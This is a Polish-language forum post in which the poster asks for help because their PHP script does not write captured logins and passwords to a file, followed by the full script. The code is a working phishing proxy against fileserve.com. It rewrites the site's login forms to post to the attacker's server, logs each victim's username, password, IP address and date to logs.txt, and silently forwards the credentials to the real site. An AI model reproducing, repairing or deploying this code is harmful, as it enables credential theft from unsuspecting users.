Witam.
Mam problem a mianowicie nie wiem dlaczego ale nie chce mi zapisać do pliku Loginu i Hasła...
Poniżej podaje całość skryptu :
Czy ktoś pomoże co jest źle?
A może wszystko ok tylko to wina serwera?
Pozdrawiam
Mam problem a mianowicie nie wiem dlaczego ale nie chce mi zapisać do pliku Loginu i Hasła...
Poniżej podaje całość skryptu :
Kod:
<?php
$file = 'logs.txt';
function GetPage($url, $post) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
if ($post != NULL){
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
$urlPage = curl_exec($ch);
curl_close($ch);
return($urlPage);
}
$lg = $_GET['lang'];
if(!empty($_GET['fs'])){
$site = "http://$_SERVER[HTTP_HOST]".ereg_replace('/$', '', dirname($_SERVER['PHP_SELF']));
$site1 = $site.'?n=1';
$link = $_GET['fs'];
$link1 = $site.'?fs='.$link.'&l=1&lang='.$lg;
$link2 = $site.'?fs='.$link.'&l=2&lang='.$lg;
$link3 = $site.'?fs='.$link.'&lang=';
if($_GET['l'] == 1){
$page = GetPage('http://fileserve.com/login.php', 'locale='.$lg.'');
$page = str_replace('"/>', '" />', $page);
$page = str_replace('"/', '"http://fileserve.com/', $page);
$page = str_replace('<form action="http://fileserve.com/login.php" method="POST">', '<form action="'.$site1.'" method="POST"><input type="hidden" name="link" value="'.$link.'">', $page);
$page = str_replace('href="http://fileserve.com/login.php"', 'href="'.$link1.'"', $page);
} elseif($_GET['l'] == 2){
$page = GetPage($link, 'locale='.$lg.'&download=premium');
$page = str_replace('"/>', '" />', $page);
$page = str_replace('"/', '"http://fileserve.com/', $page);
$page = str_replace('<form action="http://fileserve.com/login.php" method="POST">', '<form action="'.$site1.'" method="POST"><input type="hidden" name="link" value="'.$link.'">', $page);
$page = str_replace('href="http://fileserve.com/login.php"', 'href="'.$link1.'"', $page);
$page = str_replace('changeLocale(\'', 'location=(\''.$link3.'', $page);
} else {
$page = GetPage($link, 'locale='.$lg.'');
$page = str_replace('"/>', '" />', $page);
$page = str_replace('"/', '"http://fileserve.com/', $page);
$page = str_replace('<a id="regularBtn" class="slower_download_btn">Slower Download</a>', '<a href="'.$link.'" class="slower_download_btn">Slower Download</a>', $page);
$page = str_replace('<a id="premiumBtn" class="fastest_download_btn">Fastest Download</a>', '<a href="'.$link2.'" class="fastest_download_btn">Fastest Download</a>', $page);
$page = str_replace('<form action="http://fileserve.com/login.php" method="POST">', '<form action="'.$site1.'" method="POST"><input type="hidden" name="link" value="'.$link.'">', $page);
$page = str_replace('href="http://fileserve.com/login.php"', 'href="'.$link1.'"', $page);
$page = str_replace('changeLocale(\'', 'location=(\''.$link3.'', $page);
}
echo $page;
} elseif($_GET['n'] == 1 && !empty($_POST['link'])){
if(!empty($_POST['loginUserName']) && !empty($_POST['loginUserPassword'])){
$username = $_POST['loginUserName'];
$password = $_POST['loginUserPassword'];
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('r');
$link = $_POST['link'];
$lang = $_POST['locale'];
$autoLogin = $_POST['autoLogin'];
$fp = fopen($file, "a+");
fwrite($fp, 'Username: '.$username.''."\n");
fwrite($fp, 'Password: '.$password.''."\n");
fwrite($fp, 'IP: '.$ip.' | Date: '.$date.''."\n");
fwrite($fp, 'Download: '.$link.''."\n");
fwrite($fp, "\n");
fclose($fp);
$page = '<form action="http://fileserve.com/login.php" method="post">'."\n";
$page .= '<input name="loginUserName" type="hidden" value="'.$username.'" />'."\n";
$page .= '<input name="loginUserPassword" type="hidden" value="'.$password.'" />'."\n";
$page .= '<input name="autoLogin" type="hidden" value="'.$autoLogin.'" />'."\n";
$page .= '<input name="locale" type="hidden" value="'.$lang.'" />'."\n";
$page .= '</form>'."\n";
$page .= '<script type="text/javascript">'."\n";
$page .= 'setTimeout("document.forms[0].submit()", 10);'."\n";
$page .= '</script>'."\n";
echo $page;
}
} else {
header('Location: http://fileserve.com');
}
?>
Czy ktoś pomoże co jest źle?
A może wszystko ok tylko to wina serwera?
Pozdrawiam